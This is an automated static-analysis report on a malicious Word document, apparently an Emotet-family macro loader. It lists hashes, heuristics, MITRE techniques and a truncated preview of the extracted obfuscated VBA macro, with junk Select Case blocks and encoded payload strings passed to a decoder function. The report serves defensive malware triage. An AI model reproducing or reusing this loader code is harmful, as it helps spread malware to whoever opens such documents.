Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a95178ace18239b1…

MALICIOUS

Office (OLE)

142.5 KB Created: 2018-04-04 22:56:00 Authoring application: Microsoft Office Word First seen: 2018-04-12
MD5: a3719404e3368b6c5c523ff4a0ec3f81 SHA-1: 3eb3a7da8fc5bf1695bee59167bae278123c2c14 SHA-256: a95178ace18239b1f021ce8aa6de79884b3c60bb37fb6e71987d5227ac34693d
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro is configured to auto-execute via the AutoOpen function and uses CreateObject, indicating it is designed to perform actions beyond typical document manipulation. The presence of a long encoded blob and a 'macros.bas' file further suggests a downloader or dropper functionality. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' also points to a known malware family, likely an Emodldr variant.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 41602 bytes
SHA-256: 93ac4d90cb4899fbddb9f387e108da7e91936d2534ab4bead77d9ab9061e3846
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wazZirDtzMP"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ziJssEBAkSuQ"
Function dDUAtKznGwYJVp()
On Error Resume Next
Select Case ahirYo
         Case 64452
            oGziwD = 26343
            HrTHXE = Sqr(6548)
         Case 43091
            tAlOc = CSng(IGvVNO)
            KUTzS = iuPdvV
End Select
RlOXwuq = oiXdzB("sV.ceLQUbw74IG+RFxXsaLje4gceKKUXuXSxs7htlScx9Al5WMveXHU08LY/8dlJJyPygN1fq2+pDY/jSdc34utSPNUo3/Kxj1hL7xnXgR+81hnO/D7gAj01nPuRNzPp7BZ14cnHa/CYdJT9EOwkn9ejnjU9/SB+tXjY8lD9iZefPXVqrfuZD27sIxvx59JwX.1K", 5, 187)
Select Case PTiMW
         Case 57016
            Viovi = 24090
            pcBhA = Sqr(21771)
         Case 86085
            zoXmYs = CSng(iWpsZf)
            cizjGs = jXRFSp
End Select
Select Case jMYSmO
         Case 4043
            EziOU = 28134
            XLPdGR = Sqr(34933)
         Case 27358
            MfdKz = CSng(FVvBH)
            VwrqH = wZDpi
End Select
FjQak = oiXdzB("sRfrrB7rtxJvVer/odeMI3GTHTyvUF/dqN8odP+GfTZxi/5vzk/Gfgf6Yvblqrv8NC9B3xv2aeTzo/KoUz98lA4SFzfOtceT3rfjeyHcY/601Af+vpHelNRbq5+W8znxrzWvleqXcvEq9Gmn/vSovInFY3vNaT/FF3Hfc+7iXDboDN83dOoLW+KDfCt.PnH2", 3, 183)
Select Case zLjwcQ
         Case 35898
            wMGGk = 83114
            itISS = Sqr(13407)
         Case 66947
            PXmwH = CSng(oJXAf)
            lqJsf = tIJplG
End Select
Select Case MSzNaL
         Case 27742
            kSHfua = 67579
            iQLKK = Sqr(16231)
         Case 66525
            scjMwS = CSng(NiHkE)
            SJRONi = dipOE
End Select
PRPqqPEq = oiXdzB("8 C7d8ij7EbtH/OjVh4qvq3bsn49a96j+MlPfj7rD+Xy+Pd27+Zk3mYfqX4Z+e4n4euGyYV0gb6WTnvFkf1uP/cPI2/0wD5BP1C4Zi2", 5, 94)
Select Case GSFHUD
         Case 68418
            UzcCcS = 90305
            znpiSQ = Sqr(11820)
         Case 89761
            zZKWOm = CSng(IMLFI)
            njVvzM = MkQdjh
End Select
Select Case znGiFM
         Case 9629
            sWPrzt = 78476
            hfRvz = Sqr(49161)
         Case 85646
            GiEaRa = CSng(HwZpJ)
            ULErv = iOTUz
End Select
OFAzMR = oiXdzB("Wf3OitR9Mccpoz8N4H/EY86cdG83WrOqmp93zP8k3986P47KDnGectvUdyjHeleW3ph/6Scyh5qFAfgfdD/zg/+9/m+9N/8+e7u+Xbl/sP9eoerw3bs7f/zA9nSZpN4vB3NZvE2WySTONJEl2Fz/CXZOEvPE0n8ez9JH0/eZdOsngSR9EknYbfoknYlMwms6vhP", 8, 186)
Select Case Etfub
         Case 71358
            vVcWI = 58414
            SzItZ = Sqr(8473)
         Case 59515
            NUMDD = CSng(KXnNGY)
            hsNWo = Oirow
End Select
Select Case pFWkZP
         Case 43354
            tnzTBW = 67407
            WzFJIG = Sqr(87952)
         Case 41223
            DOSrNT = CSng(ZnFBR)
            CwhfMT = rcuzl
End Select
CpOBJjzVmUa = oiXdzB("3zKzFcO+LJPG/pa9Mvgd+Yh/UFcpGuGW605tdDcNcTnJ3s95+Tx/J71QT1vxYu1+gPNvYbXiU/BQ9WgK37oL/X+Qe8Lxn6kV1+oOYJ5DT979VGHHw", 5, 106)
Select Case KbSij
         Case 22473
            uWADm = 62319
            utNRh = Sqr(23570)
         Case 72574
            JcdtZO = CSng(aUVFEJ)
            GFWqPq = vdsjAM
End Select
Select Case WGOmT
         Case 99999
            zDZIjG = 83711
            IiDFz = Sqr(14800)
         Case 48769
            DsrBBa = CSng(KKapn)
            TnJbSF = uUciCd
End Select
fEwArBH = oiXdzB("ibaus/Xh96N9roGLnSc/W/OzNLy3hkfAJQYusMeZfTs8t/20d2e/l2Z/2B/W7YG72WE44h74+2jPEWfDB+d4e77nPYZHTrvC+UvgsDE/gGtpeRDs5X3FiBvwtvstjiGuleEEPO0+xDctsw", 4, 136)
Select Case wzoRwz
         Case 48298
            ubwdX = 73915
            wJREF = Sqr(79541)
         Case 83548
            dfCmnj = CSng(NwYtS)
            VIqqa = tidph
End Select
Select Case NzEbIs
         Case 33551
            hjqzjq = 45299
            QEiUd = Sqr(29608)
         Case 31027
            rCPAZ = CSng(FLUjH)
            fcYlcp = BCKZC
End Select
cHFlHGko = oiXdzB("cKwT.xfKx5Z1ZfETzoP/xCnXfZ3WDfWN+KDewrlTPEedI/8e
... (truncated)

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